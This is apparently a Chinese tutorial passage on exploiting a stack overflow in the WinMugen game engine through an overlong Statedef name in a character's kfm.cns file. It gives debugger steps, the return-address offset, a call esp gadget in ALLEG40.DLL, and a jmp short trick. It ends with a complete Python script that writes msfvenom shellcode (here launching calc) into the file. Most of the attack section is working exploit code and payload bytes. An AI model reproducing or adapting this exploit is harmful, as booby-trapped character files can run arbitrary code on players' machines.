5. StateDef溢出
通过搜索得知,其为[Statedef -3]中-3这部分的溢出,那么直接编写溢出代码,放在kfm.cns第一个Statedef之上。
[Statedef AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
[State 1, add]
type = poweradd
trigger1 = 1
value = 10
od不会智能跳转到溢出报错处,x64dbg可以。
查看47ED05对应反编译代码,位于sub_47EBF0()——memset()
memset()也会溢出吗?理论上并不会,用od断点47ED05,查看汇编对应的含义,就明白发生了什么。
rep stos dword ptr es:[edi]
将edi开始的内存覆盖为eax(为0),4字节一次循环ecx次,这也正是memset()开辟内存核心汇编。而esi和edi都为41414141,很明显是因为前面47ECF2的汇编导致的。也就是说在47ED05之前,已经因为栈溢出覆盖掉了栈中一部分正常的地址,导致memset()报错。
那么具体是哪儿出现的栈溢出呢?稍微熟悉栈溢出的同学,往上翻一翻sub_47EBF0()的代码,就会发现正确答案。
非常熟悉的strcpy(),v33只有64个字节,a3是个int,也就是原本为[Statedef -3]的-3,如果我们填充64个A,就会导致溢出。
动态调试后发现这个动作是在47EC37完成的,再写一个[Statedef AAAA]进去,两次断点来对比一下到底能覆盖哪些东西。
可以看到覆盖了多个返回地址,实际测试下来其中有用的是D3FEE74,偏移量为Statedef+56,那么填充数据就是"Statedef "+"A"*55+"BBBB",注意Statedef后面带个空格。
修改一下后逐步单步后发现尝试跳转到BBBB。
[Statedef AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]
[State 1, add]
type = poweradd
trigger1 = 1
value = 10
栈溢出最简单的利用方式是栈内执行,这需要无NX保护和jmp esp,winmugen刚好满足条件。其自带的ALLEG40.DLL在0x1005FB9D地址写着call esp。
checksec.exe Winmugen.exe
!mona jmp -r esp -cpb "x00"
那么利用python来替换字符串写入shellcode,当然惯例先用NOP尝试。
import os
if os.path.exists("kfm.cns.bak"):
os.remove("kfm.cns")
os.rename("kfm.cns.bak", "kfm.cns")
jmp_esp = "x10x05xfbx9d"[::-1]
payload = jmp_esp + "x90"*4
f = open("kfm.cns","r+")
cns = f.read().replace("BBBB",payload)
f.close()
os.rename("kfm.cns", "kfm.cns.bak")
f2 = open("kfm.cns","w")
f2.write(cns)
f2.close()
在1005FB9D下断点,但并没有达到理想中的效果进入栈中执行,动态调试后可以发现还是因为47ED05也就是memset报错。
经过简单测试,可以发现47ED05被破坏的栈在ret地址后5-8位。
payload = jmp_esp + "x90"*4 + "AAAA"
根据47ED05上的汇编,本质上是清空一段内存地址,那么我们需要使用一个可写的地址替换掉AAAA,让其不再报错。学习%n和%f的时候我们用过两个不重要的地址0x4b4048和0x4B4000,但由于它实际上是0x00开头的有坏字符所以不行。同理整个winmugen.exe都不行,还好ALLEG40.DLL都是0x10开头的地址,那我们在data断上找一个空白的地址就行。我这里随便选的0x1009BDAD。
jmp_esp = "x10x05xfbx9d"[::-1]
addr = "x10x09xBDxAD"[::-1]
payload = jmp_esp + "x90"*4 + addr + "x90"*4
成功断到1005FB9D,栈布局也和我们溢出的一样。
那么在127EEE78断点,F8后成功在栈上执行NOP。
这样就能执行shellcode了吗?还不行,因为我们增加了一个1009BDAD的原因,栈上会把这个地址当作汇编来使用,同样会报错导致无法执行后续的shellcode。这个时候可以利用jmp short跳过这段不可控的地址。
jmp_esp = "x10x05xfbx9d"[::-1]
addr = "x10x09xBDxAD"[::-1]
payload = jmp_esp + "xebx08x90x90" + addr + "x90"*8
可以看到刚好跳到NOP上,现在可以执行shellcode了吗?还是不行,因为溢出有长度限制,msfvenom最短也要220个字节,而我们只能在栈上控制164字节左右。
payload = jmp_esp + "xebx08x90x90" + addr + "x90"*8 + "A"*164
这里可以想办法缩短shellcode,但还是推荐另外一种不限shellcode长度的办法,参考Reboot人物。它的Reboot.st是这样的。
使用它可以修改shutdown的字节,以免真的导致系统重启,断点47EC1C(sub_47EBF0较前的地址)动态调试。前面有很多无意义的Statedef,快速F9到溢出,也就是Statedef 5900后面一个。
F8几下之后就会发现栈溢出,返回地址被覆盖为5D403246,和Reboot.st可以对应上。但剩下的并没有覆盖。
再F8到47EC4E就会发现5D变成了00,为什么呢?因为x5D是],完成了对[Statedef的闭合。
继续F8,可以看到Need at least one state controller提示,这是对state的检测,代码如下。
可以看到离我们之前绕过的memset()非常近,而且这个代码中存在return。因为我们在溢出Statedef下面写了一个加气的state,所以走不进这个if中,所以才需要绕memset(),如果没有state,就可以提前return了。
代码走到retn,栈中可以看到,即将跳转到作者精心布置的一个地址403246
而这个地址的代码非常简单,add esp,0x10然后retn,也就是说再次跳转到栈+16的指针,也就是99E244A。
这个地址里存储了溢出Statedef空格后面所有的字节,所以一开始就用jmp short跳到下面的NOP。此时shellcode长度的限制就完全没有了。我们先修改kfm.cns.bak代码。
[Statedef BBBB
然后写好python脚本。
msfvenom -p windows/exec cmd="calc" exitfunc=thread -b "x00x1Ax3B" -f python
import os
buf = b""
buf += b"xdaxd8xb8x8cxbcx61xa1xd9x74x24xf4x5ax2b"
buf += b"xc9xb1x30x83xc2x04x31x42x14x03x42x98x5e"
buf += b"x94x5dx48x1cx57x9ex88x41xd1x7bxb9x41x85"
buf += b"x08xe9x71xcdx5dx05xf9x83x75x9ex8fx0bx79"
buf += b"x17x25x6axb4xa8x16x4exd7x2ax65x83x37x13"
buf += b"xa6xd6x36x54xdbx1bx6ax0dx97x8ex9bx3axed"
buf += b"x12x17x70xe3x12xc4xc0x02x32x5bx5bx5dx94"
buf += b"x5dx88xd5x9dx45xcdxd0x54xfdx25xaex66xd7"
buf += b"x74x4fxc4x16xb9xa2x14x5ex7dx5dx63x96x7e"
buf += b"xe0x74x6dxfdx3exf0x76xa5xb5xa2x52x54x19"
buf += b"x34x10x5axd6x32x7ex7exe9x97xf4x7ax62x16"
buf += b"xdbx0bx30x3dxffx50xe2x5cxa6x3cx45x60xb8"
buf += b"x9fx3axc4xb2x0dx2ex75x99x5bxb1x0bxa7x29"
buf += b"xb1x13xa8x1dxdax22x23xf2x9dxbaxe6xb7x42"
buf += b"x59x23xcdxeaxc4xa6x6cx77xf7x1cxb2x8ex74"
buf += b"x95x4ax75x64xdcx4fx31x22x0cx3dx2axc7x32"
buf += b"x92x4bxc2x50x75xd8x8ex96"
if os.path.exists("kfm.cns.bak"):
os.remove("kfm.cns")
os.rename("kfm.cns.bak", "kfm.cns")
payload = "xEBx3Ax49"
payload += "A" * 52
payload += "x46x32x40x5Dx20x0Dx0A"
payload += "x90" * 16
payload += buf
f = open("kfm.cns","r+")
cns = f.read().replace("BBBB",payload)
f.close()
os.rename("kfm.cns", "kfm.cns.bak")
f2 = open("kfm.cns","w")
f2.write(cns)
f2.close();
效果如下。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...